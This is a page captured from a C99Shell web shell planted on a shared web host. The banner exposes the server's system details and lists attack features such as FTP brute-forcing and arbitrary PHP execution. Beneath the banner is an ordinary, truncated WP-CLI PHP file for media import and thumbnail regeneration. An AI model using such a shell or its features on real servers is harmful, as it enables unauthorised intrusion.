!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/media-command/src/   drwxr-xr-x
Free 713.2 GB of 879.6 GB (81.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Media_Command.php (45.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use WP_CLI\Utils;

/**
 * Imports files as attachments, regenerates thumbnails, or lists registered image sizes.
 *
 * ## EXAMPLES
 *
 *     # Re-generate all thumbnails, without confirmation.
 *     $ wp media regenerate --yes
 *     Found 3 images to regenerate.
 *     1/3 Regenerated thumbnails for "Sydney Harbor Bridge" (ID 760).
 *     2/3 Regenerated thumbnails for "Boardwalk" (ID 757).
 *     3/3 Regenerated thumbnails for "Sunburst Over River" (ID 756).
 *     Success: Regenerated 3 of 3 images.
 *
 *     # Import a local image and set it to be the featured image for a post.
 *     $ wp media import ~/Downloads/image.png --post_id=123 --title="A downloaded picture" --featured_image
 *     Imported file '/home/person/Downloads/image.png' as attachment ID 1753 and attached to post 123 as featured image.
 *     Success: Imported 1 of 1 images.
 *
 *     # List all registered image sizes
 *     $ wp media image-size
 *     +---------------------------+-------+--------+-------+
 *     | name                      | width | height | crop  |
 *     +---------------------------+-------+--------+-------+
 *     | full                      |       |        | N/A   |
 *     | twentyfourteen-full-width | 1038  | 576    | hard  |
 *     | large                     | 1024  | 1024   | soft  |
 *     | medium_large              | 768   | 0      | soft  |
 *     | medium                    | 300   | 300    | soft  |
 *     | thumbnail                 | 150   | 150    | hard  |
 *     +---------------------------+-------+--------+-------+
 *
 *     # Fix orientation for specific images.
 *     $ wp media fix-orientation 63
 *     1/1 Fixing orientation for "Portrait_6" (ID 63).
 *     Success: Fixed 1 of 1 images.
 *
 * @package wp-cli
 */
class Media_Command extends WP_CLI_Command {

    /**
     * Clear the WP object cache after this many regenerations/imports.
     *
     * @var integer
     */
    const WP_CLEAR_OBJECT_CACHE_INTERVAL = 500;

    /**
     * Regenerates thumbnails for one or more attachments.
     *
     * ## OPTIONS
     *
     * [<attachment-id>...]
     * : One or more IDs of the attachments to regenerate.
     *
     * [--image_size=<image_size>]
     * : Name of the image size to regenerate. Only thumbnails of this image size will be regenerated, thumbnails of other image sizes will not.
     *
     * [--skip-delete]
     * : Skip deletion of the original thumbnails. If your thumbnails are linked from sources outside your control, it's likely best to leave them around. Defaults to false.
     *
     * [--only-missing]
     * : Only generate thumbnails for images missing image sizes.
     *
     * [--delete-unknown]
     * : Only delete thumbnails for old unregistered image sizes.
     *
     * [--yes]
     * : Answer yes to the confirmation message. Confirmation only shows when no IDs passed as arguments.
     *
     * ## EXAMPLES
     *
     *     # Regenerate thumbnails for given attachment IDs.
     *     $ wp media regenerate 123 124 125
     *     Found 3 images to regenerate.
     *     1/3 Regenerated thumbnails for "Vertical Image" (ID 123).
     *     2/3 Regenerated thumbnails for "Horizontal Image" (ID 124).
     *     3/3 Regenerated thumbnails for "Beautiful Picture" (ID 125).
     *     Success: Regenerated 3 of 3 images.
     *
     *     # Regenerate all thumbnails, without confirmation.
     *     $ wp media regenerate --yes
     *     Found 3 images to regenerate.
     *     1/3 Regenerated thumbnails for "Sydney Harbor Bridge" (ID 760).
     *     2/3 Regenerated thumbnails for "Boardwalk" (ID 757).
     *     3/3 Regenerated thumbnails for "Sunburst Over River" (ID 756).
     *     Success: Regenerated 3 of 3 images.
     *
     *     # Re-generate all thumbnails that have IDs between 1000 and 2000.
     *     $ seq 1000 2000 | xargs wp media regenerate
     *     Found 4 images to regenerate.
     *     1/4 Regenerated thumbnails for "Vertical Featured Image" (ID 1027).
     *     2/4 Regenerated thumbnails for "Horizontal Featured Image" (ID 1022).
     *     3/4 Regenerated thumbnails for "Unicorn Wallpaper" (ID 1045).
     *     4/4 Regenerated thumbnails for "I Am Worth Loving Wallpaper" (ID 1023).
     *     Success: Regenerated 4 of 4 images.
     *
     *     # Re-generate only the thumbnails of "large" image size for all images.
     *     $ wp media regenerate --image_size=large
     *     Do you really want to regenerate the "large" image size for all images? [y/n] y
     *     Found 3 images to regenerate.
     *     1/3 Regenerated "large" thumbnail for "Sydney Harbor Bridge" (ID 760).
     *     2/3 No "large" thumbnail regeneration needed for "Boardwalk" (ID 757).
     *     3/3 Regenerated "large" thumbnail for "Sunburst Over River" (ID 756).
     *     Success: Regenerated 3 of 3 images.
     */
    public function regenerate( $args, $assoc_args = array() ) {
        $assoc_args = wp_parse_args(
            $assoc_args,
            [ 'image_size' => '' ]
        );

        $image_size = $assoc_args['image_size'];
        if ( $image_size && ! in_array( $image_size, get_intermediate_image_sizes(), true ) ) {
            WP_CLI::error( sprintf( 'Unknown image size "%s".', $image_size ) );
        }

        if ( empty( $args ) ) {
            if ( $image_size ) {
                WP_CLI::confirm( sprintf( 'Do you really want to regenerate the "%s" image size for all images?', $image_size ), $assoc_args );
            } else {
                WP_CLI::confirm( 'Do you really want to regenerate all images?', $assoc_args );
            }
        }

        $skip_delete  = Utils\get_flag_value( $assoc_args, 'skip-delete' );
        $only_missing = Utils\get_flag_value( $assoc_args, 'only-missing' );
        if ( $only_missing ) {
            $skip_delete = true;
        }

        $delete_unknown = Utils\get_flag_value( $assoc_args, 'delete-unknown' );
        if ( $delete_unknown ) {
            $skip_delete = false;
        }

        $additional_mime_types = array();

        if ( Utils\wp_version_compare( '4.7', '>=' ) ) {
            $additional_mime_types[] = 'application/pdf';
        }

        $images = $this->get_images( $args, $additional_mime_types );
        $count  = $images->post_count;

        if ( ! $count ) {
            WP_CLI::warning( 'No images found.' );
            return;
        }

        WP_CLI::log(
            sprintf(
                'Found %1$d %2$s to regenerate.',
                $count,
                _n( 'image', 'images', $count )
            )
        );

        if ( $image_size ) {
            $image_size_filters = $this->add_image_size_filters( $image_size );
        }

        $number    = 0;
        $successes = 0;
        $errors    = 0;
        $skips     = 0;
        foreach ( $images->posts as $post_id ) {
            ++$number;
            if ( 0 === $number % self::WP_CLEAR_OBJECT_CACHE_INTERVAL ) {
                Utils\wp_clear_object_cache();
            }
            $this->process_regeneration( $post_id, $skip_delete, $only_missing, $delete_unknown, $image_size, $number . '/' . $count, $successes, $errors, $skips );
        }

        if ( $image_size ) {
            $this->remove_image_size_filters( $image_size_filters );
        }

        Utils\report_batch_operation_results( 'image', 'regenerate', $count, $successes, $errors, $skips );
    }

    /**
     * Creates attachments from local files or URLs.
     *
     * ## OPTIONS
     *
     * <file>...
     * : Path to file or files to be imported. Supports the glob(3) capabilities of the current shell.
     *     If file is recognized as a URL (for example, with a scheme of http or ftp), the file will be
     *     downloaded to a temp file before being sideloaded.
     *
     * [--post_id=<post_id>]
     * : ID of the post to attach the imported files to.
     *
     * [--post_name=<post_name>]
     * : Name of the post to attach the imported files to.
     *
     * [--file_name=<name>]
     * : Attachment name (post_name field).
     *
     * [--title=<title>]
     * : Attachment title (post title field).
     *
     * [--caption=<caption>]
     * : Caption for attachment (post excerpt field).
     *
     * [--alt=<alt_text>]
     * : Alt text for image (saved as post meta).
     *
     * [--desc=<description>]
     * : "Description" field (post content) of attachment post.
     *
     * [--skip-copy]
     * : If set, media files (local only) are imported to the library but not moved on disk.
     * File names will not be run through wp_unique_filename() with this set.
     *
     * [--preserve-filetime]
     * : Use the file modified time as the post published & modified dates.
     * Remote files will always use the current time.
     *
     * [--featured_image]
     * : If set, set the imported image as the Featured Image of the post it is attached to.
     *
     * [--porcelain[=<field>]]
     * : Output a single field for each imported image. Defaults to attachment ID when used as flag.
     * ---
     * options:
     *   - url
     * ---
     *
     * ## EXAMPLES
     *
     *     # Import all jpgs in the current user's "Pictures" directory, not attached to any post.
     *     $ wp media import ~/Pictures/**\/*.jpg
     *     Imported file '/home/person/Pictures/landscape-photo.jpg' as attachment ID 1751.
     *     Imported file '/home/person/Pictures/fashion-icon.jpg' as attachment ID 1752.
     *     Success: Imported 2 of 2 items.
     *
     *     # Import a local image and set it to be the post thumbnail for a post.
     *     $ wp media import ~/Downloads/image.png --post_id=123 --title="A downloaded picture" --featured_image
     *     Imported file '/home/person/Downloads/image.png' as attachment ID 1753 and attached to post 123 as featured image.
     *     Success: Imported 1 of 1 images.
     *
     *     # Import a local image, but set it as the featured image for all posts.
     *     # 1. Import the image and get its attachment ID.
     *     # 2. Assign the attachment ID as the featured image for all posts.
     *     $ ATTACHMENT_ID="$(wp media import ~/Downloads/image.png --porcelain)"
     *     $ wp post list --post_type=post --format=ids | xargs -d ' ' -I % wp post meta add % _thumbnail_id $ATTACHMENT_ID
     *     Success: Added custom field.
     *     Success: Added custom field.
     *
     *     # Import an image from the web.
     *     $ wp media import http://s.wordpress.org/style/images/wp-header-logo.png --title='The WordPress logo' --alt="Semantic personal publishing"
     *     Imported file 'http://s.wordpress.org/style/images/wp-header-logo.png' as attachment ID 1755.
     *     Success: Imported 1 of 1 images.
     *
     *     # Get the URL for an attachment after import.
     *     $ wp media import http://s.wordpress.org/style/images/wp-header-logo.png --porcelain | xargs -I {} wp post list --post__in={} --field=url --post_type=attachment
     *     http://wordpress-develop.dev/wp-header-logo/
     */
    public function import( $args, $assoc_args = array() ) {
        $assoc_args = wp_parse_args(
            $assoc_args,
            array(
                'file_name' => '',
                'title'     => '',
                'caption'   => '',
                'alt'       => '',
                'desc'      => '',
                'post_name' => '',
            )
        );

        // Assume the most generic term
        $noun = 'item';

        // Current site's timezone offset.
        $gmt_offset = get_option( 'gmt_offset' );

        // Use the noun `image` when sure the media file is an image
        if ( Utils\get_flag_value( $assoc_args, 'featured_image' ) || $assoc_args['alt'] ) {
            $noun = 'image';
        }

        $porcelain = Utils\get_flag_value( $assoc_args, 'porcelain' );
        if ( is_string( $porcelain ) && ! in_array( $porcelain, array( 'url' ), true ) ) {
            WP_CLI::error( sprintf( 'Invalid value for <porcelain>: %s. Expected flag or \'url\'.', $porcelain ) );
        }

        if ( isset( $assoc_args['post_id'] ) ) {
            if ( ! get_post( $assoc_args['post_id'] ) ) {
                WP_CLI::warning( 'Invalid --post_id' );
                $assoc_args['post_id'] = false;
            }
        } else {
            $assoc_args['post_id'] = false;
        }

        $number    = 0;
        $successes = 0;
        $errors    = 0;
        foreach ( $args as $file ) {
            ++$number;
            if ( 0 === $number % self::WP_CLEAR_OBJECT_CACHE_INTERVAL ) {
                Utils\wp_clear_object_cache();
            }

            // phpcs:ignore WordPress.WP.AlternativeFunctions.parse_url_parse_url -- parse_url will only be used in absence of wp_parse_url.
            $is_file_remote = function_exists( 'wp_parse_url' ) ? wp_parse_url( $file, PHP_URL_HOST ) : parse_url( $file, PHP_URL_HOST );
            $orig_filename  = $file;
            $file_time      = '';

            if ( empty( $is_file_remote ) ) {
                if ( ! file_exists( $file ) ) {
                    WP_CLI::warning( "Unable to import file '$file'. Reason: File doesn't exist." );
                    ++$errors;
                    continue;
                }
                if ( Utils\get_flag_value( $assoc_args, 'skip-copy' ) ) {
                    $tempfile = $file;
                } else {
                    $tempfile = $this->make_copy( $file );
                }
                $name = Utils\basename( $file );

                if ( Utils\get_flag_value( $assoc_args, 'preserve-filetime' ) ) {
                    $file_time = @filemtime( $file );
                }
            } else {
                $tempfile = download_url( $file );
                if ( is_wp_error( $tempfile ) ) {
                    WP_CLI::warning(
                        sprintf(
                            "Unable to import file '%s'. Reason: %s",
                            $file,
                            implode( ', ', $tempfile->get_error_messages() )
                        )
                    );
                    ++$errors;
                    continue;
                }
                $name = strtok( Utils\basename( $file ), '?' );
            }

            if ( ! empty( $assoc_args['file_name'] ) ) {
                $image_name = $this->get_image_name( $name, $assoc_args['file_name'] );
                $name       = ! empty( $image_name ) ? $image_name : $name;
            }

            $file_array = array(
                'tmp_name' => $tempfile,
                'name'     => $name,
            );

            $post_array = array(
                'post_title'   => $assoc_args['title'],
                'post_excerpt' => $assoc_args['caption'],
                'post_content' => $assoc_args['desc'],
                'post_name'    => $assoc_args['post_name'],
            );

            if ( ! empty( $file_time ) ) {
                $post_array['post_date']         = gmdate( 'Y-m-d H:i:s', $file_time + ( $gmt_offset * HOUR_IN_SECONDS ) );
                $post_array['post_date_gmt']     = gmdate( 'Y-m-d H:i:s', $file_time );
                $post_array['post_modified']     = gmdate( 'Y-m-d H:i:s', $file_time + ( $gmt_offset * HOUR_IN_SECONDS ) );
                $post_array['post_modified_gmt'] = gmdate( 'Y-m-d H:i:s', $file_time );
            }

            $post_array = wp_slash( $post_array );

            // use image exif/iptc data for title and caption defaults if possible
            if ( empty( $post_array['post_title'] ) || empty( $post_array['post_excerpt'] ) ) {
                // @codingStandardsIgnoreStart
                $image_meta = @wp_read_image_metadata( $tempfile );
                // @codingStandardsIgnoreEnd
                if ( ! empty( $image_meta ) ) {
                    if ( empty( $post_array['post_title'] ) && trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
                        $post_array['post_title'] = $image_meta['title'];
                    }

                    if ( empty( $post_array['post_excerpt'] ) && trim( $image_meta['caption'] ) ) {
                        $post_array['post_excerpt'] = $image_meta['caption'];
                    }
                }
            }

            if ( empty( $post_array['post_title'] ) ) {
                $post_array['post_title'] = preg_replace( '/\.[^.]+$/', '', Utils\basename( $file ) );
            }

            if ( Utils\get_flag_value( $assoc_args, 'skip-copy' ) ) {
                $wp_filetype                  = wp_check_filetype( $file, null );
                $post_array['post_mime_type'] = $wp_filetype['type'];
                $post_array['post_status']    = 'inherit';

                $success = wp_insert_attachment( $post_array, $file, $assoc_args['post_id'] );
                if ( is_wp_error( $success ) ) {
                    WP_CLI::warning(
                        sprintf(
                            "Unable to insert file '%s'. Reason: %s",
                            $orig_filename,
                            implode( ', ', $success->get_error_messages() )
                        )
                    );
                    ++$errors;
                    continue;
                }
                wp_update_attachment_metadata( $success, wp_generate_attachment_metadata( $success, $file ) );
            } else {
                // Deletes the temporary file.
                $success = media_handle_sideload( $file_array, $assoc_args['post_id'], $assoc_args['title'], $post_array );
                if ( is_wp_error( $success ) ) {
                    WP_CLI::warning(
                        sprintf(
                            "Unable to import file '%s'. Reason: %s",
                            $orig_filename,
                            implode( ', ', $success->get_error_messages() )
                        )
                    );
                    ++$errors;
                    continue;
                }
            }

            // Set alt text
            if ( $assoc_args['alt'] ) {
                update_post_meta( $success, '_wp_attachment_image_alt', wp_slash( $assoc_args['alt'] ) );
            }

            // Set as featured image, if --post_id and --featured_image are set
            if ( $assoc_args['post_id'] && Utils\get_flag_value( $assoc_args, 'featured_image' ) ) {
                update_post_meta( $assoc_args['post_id'], '_thumbnail_id', $success );
            }

            $attachment_success_text = '';
            if ( $assoc_args['file_name'] ) {
                $attachment_success_text .= " with file name {$name}";
            }

            if ( $assoc_args['post_id'] ) {
                $attachment_success_text = " and attached to post {$assoc_args['post_id']}";
                if ( Utils\get_flag_value( $assoc_args, 'featured_image' ) ) {
                    $attachment_success_text .= ' as featured image';
                }
            }

            if ( $porcelain ) {
                if ( 'url' === strtolower( $porcelain ) ) {
                    $file_location = $this->get_real_attachment_url( $success );
                    WP_CLI::line( $file_location );
                } else {
                    WP_CLI::line( $success );
                }
            } else {
                WP_CLI::log(
                    sprintf(
                        "Imported file '%s' as attachment ID %d%s.",
                        $orig_filename,
                        $success,
                        $attachment_success_text
                    )
                );
            }
            ++$successes;
        }

        // Report the result of the operation
        if ( ! Utils\get_flag_value( $assoc_args, 'porcelain' ) ) {
            Utils\report_batch_operation_results( $noun, 'import', count( $args ), $successes, $errors );
        } elseif ( $errors ) {
            WP_CLI::halt( 1 );
        }
    }

    /**
     * Lists image sizes registered with WordPress.
     *
     * ## OPTIONS
     *
     * [--fields=<fields>]
     * : Limit the output to specific fields. Defaults to all fields.
     *
     * [--format=<format>]
     * : Render output in a specific format
     * ---
     * default: table
     * options:
     *   - table
     *   - json
     *   - csv
     *   - yaml
     *   - count
     * ---
     *
     * ## AVAILABLE FIELDS
     *
     * These fields will be displayed by default for each image size:
     * * name
     * * width
     * * height
     * * crop
     * * ratio
     *
     * ## EXAMPLES
     *
     *     # List all registered image sizes
     *     $ wp media image-size
     *     +---------------------------+-------+--------+-------+-------+
     *     | name                      | width | height | crop  | ratio |
     *     +---------------------------+-------+--------+-------+-------+
     *     | full                      |       |        | N/A   | N/A   |
     *     | twentyfourteen-full-width | 1038  | 576    | hard  | 173:96|
     *     | large                     | 1024  | 1024   | soft  | N/A   |
     *     | medium_large              | 768   | 0      | soft  | N/A   |
     *     | medium                    | 300   | 300    | soft  | N/A   |
     *     | thumbnail                 | 150   | 150    | hard  | 1:1   |
     *     +---------------------------+-------+--------+-------+-------+
     *
     * @subcommand image-size
     */
    public function image_size( $args, $assoc_args ) {
        $assoc_args = array_merge(
            array(
                'fields' => 'name,width,height,crop,ratio',
            ),
            $assoc_args
        );

        $sizes = $this->get_registered_image_sizes();

        usort(
            $sizes,
            function ( $a, $b ) {
                if ( $a['width'] === $b['width'] ) {
                    return 0;
                }
                return ( $a['width'] < $b['width'] ) ? 1 : -1;
            }
        );
        array_unshift(
            $sizes,
            array(
                'name'   => 'full',
                'width'  => '',
                'height' => '',
                'crop'   => 'N/A',
                'ratio'  => 'N/A',
            )
        );
        WP_CLI\Utils\format_items( $assoc_args['format'], $sizes, explode( ',', $assoc_args['fields'] ) );
    }

    private function get_ratio( $width, $height ) {
        if ( 0 === $height ) {
            return "0:{$width}";
        }

        if ( 0 === $width ) {
            return "{$height}:0";
        }

        $gcd          = $this->gcd( $width, $height );
        $width_ratio  = $width / $gcd;
        $height_ratio = $height / $gcd;

        return "{$width_ratio}:{$height_ratio}";
    }

    private function gcd( $num1, $num2 ) {
        while ( 0 !== $num2 ) {
            $t    = $num1 % $num2;
            $num1 = $num2;
            $num2 = $t;
        }
        return $num1;
    }

    // wp_tempnam() inexplicably forces a .tmp extension, which spoils MIME type detection
    private function make_copy( $path ) {
        $dir      = get_temp_dir();
        $filename = Utils\basename( $path );
        if ( empty( $filename ) ) {
            $filename = time();
        }

        $filename = $dir . wp_unique_filename( $dir, $filename );
        if ( ! copy( $path, $filename ) ) {
            WP_CLI::error( "Could not create temporary file for $path." );
        }

        return $filename;
    }

    private function process_regeneration( $id, $skip_delete, $only_missing, $delete_unknown, $image_size, $progress, &$successes, &$errors, &$skips ) {

        $title = get_the_title( $id );
        if ( '' === $title ) {
            // If audio or video cover art then the id is the sub attachment id, which has no title.
            if ( metadata_exists( 'post', $id, '_cover_hash' ) ) {
                // Unfortunately the only way to get the attachment title would be to do a non-indexed query against the meta value of `_thumbnail_id`. So don't.
                $att_desc = sprintf( 'cover attachment (ID %d)', $id );
            } else {
                $att_desc = sprintf( '"(no title)" (ID %d)', $id );
            }
        } else {
            $att_desc = sprintf( '"%1$s" (ID %2$d)', $title, $id );
        }
        $thumbnail_desc = $image_size ? sprintf( '"%s" thumbnail', $image_size ) : 'thumbnail';

        $fullsizepath = $this->get_attached_file( $id );

        if ( false === $fullsizepath || ! file_exists( $fullsizepath ) ) {
            WP_CLI::warning( "Can't find $att_desc." );
            ++$errors;
            return;
        }

        $is_pdf = 'application/pdf' === get_post_mime_type( $id );

        $original_meta = wp_get_attachment_metadata( $id );

        if ( $delete_unknown ) {
            $this->delete_unknown_image_sizes( $id, $fullsizepath );

            WP_CLI::log( "$progress Deleted unknown image sizes for $att_desc." );
            ++$successes;
            return;
        }

        $needs_regeneration = $this->needs_regeneration( $id, $fullsizepath, $is_pdf, $image_size, $skip_delete, $skip_it );

        if ( $skip_it ) {
            WP_CLI::log( "$progress Skipped $thumbnail_desc regeneration for $att_desc." );
            ++$skips;
            return;
        }

        if ( $only_missing && ! $needs_regeneration ) {
            WP_CLI::log( "$progress No $thumbnail_desc regeneration needed for $att_desc." );
            ++$successes;
            return;
        }

        $metadata = wp_generate_attachment_metadata( $id, $fullsizepath );

        // Note it's possible for no metadata to be generated for PDFs if restricted to a specific image size.
        if ( empty( $metadata ) && ! ( $is_pdf && $image_size ) ) {
            WP_CLI::warning( sprintf( 'No metadata. (ID %d)', $id ) );
            WP_CLI::log( "$progress Couldn't regenerate thumbnails for $att_desc." );
            ++$errors;
            return;
        }

        // On read error, we might only get the filesize returned and nothing else.
        if ( 1 === count( $metadata ) && array_key_exists( 'filesize', $metadata ) && ! ( $is_pdf && $image_size ) ) {
            WP_CLI::warning( sprintf( 'Read error while retrieving metadata. (ID %d)', $id ) );
            WP_CLI::log( "$progress Couldn't regenerate thumbnails for $att_desc." );
            ++$errors;
            return;
        }

        if ( $image_size ) {
            if ( $this->update_attachment_metadata_for_image_size( $id, $metadata, $image_size, $original_meta ) ) {
                WP_CLI::log( "$progress Regenerated $thumbnail_desc for $att_desc." );
            } else {
                WP_CLI::log( "$progress No $thumbnail_desc regeneration needed for $att_desc." );
            }
        } else {
            wp_update_attachment_metadata( $id, $metadata );

            WP_CLI::log( "$progress Regenerated thumbnails for $att_desc." );
        }
        ++$successes;
    }

    private function remove_old_images( $metadata, $fullsizepath, $image_size ) {

        if ( empty( $metadata['sizes'] ) ) {
            return;
        }

        if ( $image_size ) {
            if ( empty( $metadata['sizes'][ $image_size ] ) ) {
                return;
            }
            $metadata['sizes'] = array( $image_size => $metadata['sizes'][ $image_size ] );
        }

        $dir_path = dirname( $fullsizepath ) . '/';

        foreach ( $metadata['sizes'] as $size_info ) {
            $intermediate_path = $dir_path . $size_info['file'];

            if ( $intermediate_path === $fullsizepath ) {
                continue;
            }

            if ( file_exists( $intermediate_path ) ) {
                unlink( $intermediate_path );
            }
        }
    }

    private function needs_regeneration( $att_id, $fullsizepath, $is_pdf, $image_size, $skip_delete, &$skip_it ) {

        // Assume not skipping.
        $skip_it = false;

        // Note: zero-length string returned if no metadata, for instance if PDF or non-standard image (eg an SVG).
        $metadata = wp_get_attachment_metadata( $att_id );

        $image_sizes = $this->get_intermediate_image_sizes_for_attachment( $fullsizepath, $is_pdf, $metadata, $att_id );

        // First check if no applicable editor currently available (non-destructive - ie old thumbnails not removed).
        if ( is_wp_error( $image_sizes ) && 'image_no_editor' === $image_sizes->get_error_code() ) {
            // Warn unless PDF or non-standard image.
            if ( ! $is_pdf && is_array( $metadata ) && ! empty( $metadata['sizes'] ) ) {
                WP_CLI::warning( sprintf( '%s (ID %d)', $image_sizes->get_error_message(), $att_id ) );
            }
            $skip_it = true;
            return false;
        }

        // If uploaded when applicable image editor such as Imagick unavailable, the metadata or sizes metadata may not exist.
        if ( ! is_array( $metadata ) ) {
            $metadata = array();
        }
        // If set `$metadata['sizes']` should be array but explicitly check as following code depends on it.
        if ( ! isset( $metadata['sizes'] ) || ! is_array( $metadata['sizes'] ) ) {
            $metadata['sizes'] = array();
        }

        // Remove any old thumbnails (so now destructive).
        if ( ! $skip_delete ) {
            $this->remove_old_images( $metadata, $fullsizepath, $image_size );
        }

        // Check for any other error (such as load error) apart from no editor available.
        if ( is_wp_error( $image_sizes ) ) {
            // Warn but assume it may be possible to regenerate and allow processing to continue and possibly fail.
            WP_CLI::warning( sprintf( '%s (ID %d)', $image_sizes->get_error_message(), $att_id ) );
            return true;
        }

        // Have sizes - check whether they're new ones or they've changed. Note that an attachment can have no sizes if it's on or below the thumbnail threshold.

        if ( $image_size ) {
            if ( empty( $image_sizes[ $image_size ] ) ) {
                return false;
            }
            if ( empty( $metadata['sizes'][ $image_size ] ) ) {
                return true;
            }
            $metadata['sizes'] = array( $image_size => $metadata['sizes'][ $image_size ] );
        }

        if ( $this->image_sizes_differ( $image_sizes, $metadata['sizes'] ) ) {
            return true;
        }

        $dir_path = dirname( $fullsizepath ) . '/';

        // Check that the thumbnail files exist.
        foreach ( $metadata['sizes'] as $size_info ) {
            $intermediate_path = $dir_path . $size_info['file'];

            if ( $intermediate_path === $fullsizepath ) {
                continue;
            }

            if ( ! file_exists( $intermediate_path ) ) {
                return true;
            }
        }
        return false;
    }

    // Whether there's new image sizes or the width/height of existing image sizes have changed.
    private function image_sizes_differ( $image_sizes, $meta_sizes ) {
        // Check if have new image size(s).
        if ( array_diff( array_keys( $image_sizes ), array_keys( $meta_sizes ) ) ) {
            return true;
        }
        // Check if image sizes have changed.
        foreach ( $image_sizes as $name => $image_size ) {
            if ( $image_size['width'] !== $meta_sizes[ $name ]['width'] || $image_size['height'] !== $meta_sizes[ $name ]['height'] ) {
                return true;
            }
        }
        return false;
    }

    /**
     * Returns image sizes for a given attachment.
     *
     * Like WP's get_intermediate_image_sizes(), but removes sizes that won't be generated for a particular attachment due to it being on or below their thresholds,
     * and returns associative array with size name => width/height entries, resolved to crop values if applicable.
     *
     * @param string $fullsizepath Filepath of the attachment
     * @param bool   $is_pdf       Whether it is a PDF.
     * @param array  $metadata     Attachment metadata.
     * @param int    $att_id       Attachment ID.
     *
     * @return array|WP_Error Image sizes on success, WP_Error instance otherwise.
     */
    private function get_intermediate_image_sizes_for_attachment( $fullsizepath, $is_pdf, $metadata, $att_id ) {

        // Need to get width, height of attachment for image_resize_dimensions().
        $editor = wp_get_image_editor( $fullsizepath );
        if ( is_wp_error( $editor ) ) {
            return $editor;
        }
        $result = $editor->load();
        if ( is_wp_error( $result ) ) {
            unset( $editor );
            return $result;
        }
        list( $width, $height ) = array_values( $editor->get_size() );
        unset( $editor );

        $sizes = array();
        foreach ( $this->get_intermediate_sizes( $is_pdf, $metadata, $att_id ) as $name => $size ) {
            // Need to check destination and original width or height differ before calling image_resize_dimensions(), otherwise it will return non-false.
            $dims = image_resize_dimensions( $width, $height, $size['width'], $size['height'], $size['crop'] );
            if ( ( $width !== $size['width'] || $height !== $size['height'] ) && $dims ) {
                list( $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h ) = $dims;
                $sizes[ $name ] = array(
                    'width'  => $dst_w,
                    'height' => $dst_h,
                );
            }
        }
        return $sizes;
    }

    // Like WP's get_intermediate_image_sizes(), but returns associative array with name => size info entries (and caters for PDFs also).
    private function get_intermediate_sizes( $is_pdf, $metadata, $att_id ) {
        if ( $is_pdf ) {
            // Copied from wp_generate_attachment_metadata() in "wp-admin/includes/image.php".
            $fallback_sizes = array(
                'thumbnail',
                'medium',
                'large',
            );
            // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Calling native WordPress hook.
            $intermediate_image_sizes = apply_filters( 'fallback_intermediate_image_sizes', $fallback_sizes, $metadata );
        } else {
            $intermediate_image_sizes = get_intermediate_image_sizes();
        }

        // Adapted from wp_generate_attachment_metadata() in "wp-admin/includes/image.php".

        if ( function_exists( 'wp_get_additional_image_sizes' ) ) {
            $_wp_additional_image_sizes = wp_get_additional_image_sizes();
        } else {
            // For WP < 4.7.0.
            global $_wp_additional_image_sizes;
            if ( ! $_wp_additional_image_sizes ) {
                // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Used as a fallback for WordPress version less than 4.7.0 as function wp_get_additional_image_sizes didn't exist then.
                $_wp_additional_image_sizes = array();
            }
        }

        $sizes = array();
        foreach ( $intermediate_image_sizes as $s ) {
            if ( isset( $_wp_additional_image_sizes[ $s ]['width'] ) ) {
                $sizes[ $s ]['width'] = (int) $_wp_additional_image_sizes[ $s ]['width'];
            } else {
                $sizes[ $s ]['width'] = (int) get_option( "{$s}_size_w" );
            }

            if ( isset( $_wp_additional_image_sizes[ $s ]['height'] ) ) {
                $sizes[ $s ]['height'] = (int) $_wp_additional_image_sizes[ $s ]['height'];
            } else {
                $sizes[ $s ]['height'] = (int) get_option( "{$s}_size_h" );
            }

            if ( isset( $_wp_additional_image_sizes[ $s ]['crop'] ) ) {
                $sizes[ $s ]['crop'] = (bool) $_wp_additional_image_sizes[ $s ]['crop'];
                // Force PDF thumbnails to be soft crops.
            } elseif ( $is_pdf && 'thumbnail' === $s ) {
                $sizes[ $s ]['crop'] = false;
            } else {
                $sizes[ $s ]['crop'] = (bool) get_option( "{$s}_crop" );
            }
        }

        // Check here that not PDF (as filter not applied in core if is) and `$metadata` is array (as may not be and filter only applied in core when is).
        if ( ! $is_pdf && is_array( $metadata ) ) {
            if ( Utils\wp_version_compare( '5.3', '>=' ) ) {
                // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Calling native WordPress hook.
                $sizes = apply_filters( 'intermediate_image_sizes_advanced', $sizes, $metadata, $att_id );
            } else {
                // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Calling native WordPress hook.
                $sizes = apply_filters( 'intermediate_image_sizes_advanced', $sizes, $metadata );
            }
        }

        return $sizes;
    }

    // Add filters to only process a particular intermediate image size in wp_generate_attachment_metadata().
    private function add_image_size_filters( $image_size ) {
        $image_size_filters = array();

        // For images.
        $image_size_filters['intermediate_image_sizes_advanced'] = function ( $sizes ) use ( $image_size ) {
            // $sizes is associative array of name => size info entries.
            if ( isset( $sizes[ $image_size ] ) ) {
                return array( $image_size => $sizes[ $image_size ] );
            }
            return array();
        };

        // For PDF previews.
        $image_size_filters['fallback_intermediate_image_sizes'] = function ( $fallback_sizes ) use ( $image_size ) {
            // $fallback_sizes is indexed array of size names.
            if ( in_array( $image_size, $fallback_sizes, true ) ) {
                return array( $image_size );
            }
            return array();
        };

        foreach ( $image_size_filters as $name => $filter ) {
            add_filter( $name, $filter, PHP_INT_MAX );
        }

        return $image_size_filters;
    }

    // Remove above intermediate image size filters.
    private function remove_image_size_filters( $image_size_filters ) {
